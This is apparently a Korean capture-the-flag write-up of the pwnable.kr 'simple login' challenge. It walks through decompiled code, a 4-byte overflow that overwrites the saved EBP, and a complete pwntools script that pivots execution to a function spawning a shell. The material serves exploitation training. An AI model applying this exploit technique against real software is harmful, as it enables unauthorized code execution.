본문 바로가기
Wargame Write-Up/Pwnable.kr

[Pwnable.kr] (Pwnable) simple login 풀이

by snwo 2020. 7. 30.

simple login | 50 pt

50 point 이므로, 페이로드가 비교적 짧을것같다.

 

Authenticate : snwo
hash : f95abb977080593669adc510ab8e16d7

이렇게 입력을 받고, 해쉬값을 생성해서 종료한다.


main ( void )

undefined4 main(void)

{
  int iVar1;
  void *local_38;
  undefined local_32 [30];
  uint local_14;
  
  memset(local_32,0,0x1e);
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  setvbuf((FILE *)stdin,(char *)0x0,1,0);
  printf("Authenticate : ");
  __isoc99_scanf(&DAT_080da6b5,local_32);
  memset(input,0,0xc);
  local_38 = (void *)0x0;
  local_14 = Base64Decode(local_32,&local_38);
  if (local_14 < 0xd) {
    memcpy(input,local_38,local_14);
    iVar1 = auth(local_14);
    if (iVar1 == 1) {
      correct();
    }
  }
  else {
    puts("Wrong Length");
  }
  return 0;
}

버퍼 [EBP-0x32] 에 30byte 입력받는다. 그리고 전역변수 input의 12바이트를 0으로 세팅한다.

local_38 에는 base64 디코딩된 입력값이 들어가고, 그 값이 13보다 작으면 input 에다가 디코딩된 값을 대입한다.

그리고 auth()  함수 호출

 

auth ( size_t param_1 )

uint auth(size_t param_1)

{
  int iVar1;
  undefined local_18 [8];
  char *local_10;
  undefined auStack12 [8];
  
  memcpy(auStack12,input,param_1);
  local_10 = (char *)calc_md5(local_18,0xc);
  printf("hash : %s\n",local_10);
  iVar1 = strcmp("f87cd601aa7fedca99018a8be88eda34",local_10);
  return (uint)(iVar1 == 0);
}

auStack12 에 디코딩된 입력값(input)을 복사한다. [EBP-0x18] 을 md5 해싱한뒤 출력해주고

f87~~~ 와 비교한다.

 

auStack12 

   0x080492a2 <+6>: mov    eax,DWORD PTR [ebp+0x8]
   0x080492a5 <+9>: mov    DWORD PTR [esp+0x8],eax # 3번째인자 입력값길이
   0x080492a9 <+13>: mov    DWORD PTR [esp+0x4],0x811eb40 # 2번째인자 input.
   0x080492b1 <+21>: lea    eax,[ebp-0x14]
   0x080492b4 <+24>: add    eax,0xc
   0x080492b7 <+27>: mov    DWORD PTR [esp],eax  # 1번째인자 ebp-(0x14+0xc) = ebp-0x8
   0x080492ba <+30>: call   0x8069660 <memcpy>

 

auStack12 = [EBP-0x8] 이라는걸 알 수 있다.

input 최대값은 12이므로 4byte overwrite 가 일어나 EBP 를 조작할 수 있다.

 

EBP 가 조작된 상태에서 main 함수가 함수 에필로그를 실행할때

 

mov esp, ebp

pop ebp

 

(ret)

pop eip (ebp+4)

jmp eip

 

조작된 ebp+4 로 리턴하게된다.

correct ( void )

void correct(void)

{
  if (input._0_4_ == -0x21524111) {
    puts("Congratulation! you are good!");
    system("/bin/sh");
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}

auth() 함수에서 f~~ 와 비교해 맞았을때 실행되는 함수이다.

input 의 처음 4바이트가 0xDEADBEEF (-0x21524111) 일때 쉘을 실행해준다.

 

그렇다면, input : 0xdeadbeef, input+4 : correct 함수주소, input+8 : input 의 주소로 세팅하여,

ebp 를 input 의 주소로 조작해 input+4 (correct 함수주소) 로 리턴하게하자.


payload : \xEF\xBE\xAD\xDE + correct + input 주소


from pwn import *
import base64

r=remote("pwnable.kr",9003)
b=ELF("./login")
correct=p32(b.symbols['correct'])
input=p32(0x811eb40)

pay=p32(0xDEADBEEF)+correct+input

r.sendline(base64.b64encode(pay))

r.interactive()